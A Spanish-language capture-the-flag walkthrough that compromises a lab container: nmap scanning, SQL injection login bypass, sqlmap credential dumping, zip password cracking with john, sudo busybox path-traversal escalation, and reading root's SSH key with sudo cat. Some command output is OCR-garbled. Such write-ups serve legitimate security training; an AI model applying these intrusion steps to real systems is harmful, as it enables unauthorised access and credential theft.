

Vamos a desplegar la maquina vulnerable.



Ahora haremos un escaneo profundo para ver los puertos abiertos del servidor.

```
<u>sudo</u> nmap -sS -sSC -Pn --min-rate 5000 -p- -vvv --open 172.17.0.2 -oN Puertos
```

```
cat <u>Puertos</u>
       File: Puertos
       # Nmap 7.95 scan initiated Mon Oct 27 16:49:09 2025 as:
       Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000070s latency).
       Scanned at 2025-10-27 16:49:10 CET for 1s
       Not shown: 65533 closed tcp ports (reset)
       PORT STATE SERVICE REASON
       22/tcp open ssh
                             syn-ack ttl 64
        | ssh-hostkey:
           256 fd:f8:90:30:73:b2:51:20:2d:cb:7a:77:67:69:dc:e5
       | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAA
          256 ad:54:3f:1a:45:7c:b5:97:fb:5b:a8:fb:63:1d:1d:0b
       |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAxCKvhvk5MXJSo9ka
       80/tcp open http
                             syn-ack ttl 64
       | http-methods:
           Supported Methods: GET HEAD POST OPTIONS
       |_http-title: Inj3ct0rs CTF - P\xC3\xA1gina Principal
       MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Vemos que tenemos el servicio de http, así que vamos a mirar que contiene.



Explorando un poco encontramos un panel de login.



Aplicando sql injection podemos ver que ingresamos como administrador.



No encontramos nada interesante así que vamos a utilizar sqlmap para ver si encontramos algo dentro de la base de datos.

```
> sqlmap -u http://172.17.0.2/login.php --forms --dbs --batch
available databases [5]:
[*] information_schema
[*] injectors_db
[*] mysql
[*] performance_schema
[*] sys
```

Vemos que tenemos bases de datos, así seguiremos explorando que encontramos.

) sqlmap -u http://172.17.0.2/login.php --forms -D injectors\_db -T users -C id,password,username --batch --dump Database: injectors\_db Table: users [4 entries] | id | password username 1 | loveyou root 2 | chicago123 jane 3 | password admin 4 | no\_mirar\_en\_este\_directorio | ralf

Al ver un supuesto directorio, lo exploramos y vemos un fichero .zip



Lo intentamos extraer y vemos que cuenta con una contraseña.

```
> unzip secret.zip
Archive: secret.zip
[secret.zip] confidencial.txt password:
    skipping: confidencial.txt incorrect password
```

Utilizaremos zip2john para generar un hash y luego así poder utilizar john y así encontrar la contraseña.

```
) zipzjohn <u>secret.zip</u> > password.hash
ver 2.0 efh 5455 efh 7875 secret.zip/confidencial.txt PKZIP Encr: TS_chk, cmplen=132, decmplen=177, crc=D2FD3E9E ts=7A38 cs=7a38 type=8
   john <u>password.hash</u>
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 3 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
1g 0:00:00:00 DONE 2/3 (2025-10-27 17:01) 14.28g/s 654642p/s 654642c/s 654642C/s 123456..Open
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
  unzip <u>secret.zip</u>
Archive: secret.zip
[secret.zip] confidencial.txt password:
   inflating: confidencial.txt
```

Encontramos las credenciales de un usuario.

Ahora nos conectamos como este usuario y vemos

```
> ssh ralf@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:iC/yTL1NsOyIB5A+xmflwZna1ylIRz5xlC3pntryn/w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
ralf@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management:
                  https://landscape.canonical.com
                  https://ubuntu.com/pro
* Support:
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
ralf@74b1f7dff115:~$
```

Ahora vemos que tenemos el permiso del binario busybox en un directorio.

```
ralf@74b1f7dff115:~$ sudo -l
Matching Defaults entries for ralf on 74b1f7dff115:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/snap/bin, use_pty
User ralf may run the following commands on 74b1f7dff115:
    (capa : capa) NOPASSWD: /usr/local/bin/busybox /nothing/*
```

Con ayuda de gtfobin veremos cómo podemos escalar privilegios al otro usuario y ejecutaremos los comandos.

## Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo busybox sh
```

```
ralf@74b1f7dff115:~$ sudo -u capa /usr/local/bin/busybox /nothing/../sh

BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3) built-in shell (ash)

Enter 'help' for a list of built-in commands.

/home/ralf $ whoami
capa
/home/ralf $
```

Ahora vemos que encontramos en su directorio sus credenciales.

```
/home $ cd capa/
~ $ ls
passwd.txt
~ $ cat passwd.txt
capa:capaelmejor
~ $ [
```

Nos conectamos por remoto al usuario por ssh.

```
> ssh capa@172.17.0.2
capa@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

capa@74b1f7dff115:~$ ■
```

Vemos a que tenemos permisos y vemos que al binario cat.

```
capa@74b1f7dff115:~$ sudo -l
Matching Defaults entries for capa on 74b1f7dff115:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin, use_pty

User capa may run the following commands on 74b1f7dff115:
    (ALL: ALL) NOPASSWD: /bin/cat
capa@74b1f7dff115:~$
```

Lo que haremos será ver la clave privada del usuario root.

Capa@74b1f7dff115:-\$ sudo /bin/cat /root/.ssh/id\_rsa

BEGIN OPENSB PRIVATE KEY

SEKSTER BEGIN

Nos lo creamos dentro de nuestro host y vamos a dar permisos con chmod.

```
nano id_rsa
chmod 600 id rsa
```

Nos conectamos por ssh con la clave que hemos hecho en nuestro host y vemos que somos root.

```
> ssh -i id rsa root@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

* Documentation: https://help.ubuntu.com
   * Management: https://landscape.canonical.com
   * Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Aug 14 17:57:47 2024 from 172.19.0.1
root@74b1f7dff115:~# whoami
root
root@74b1f7dff115:~#
```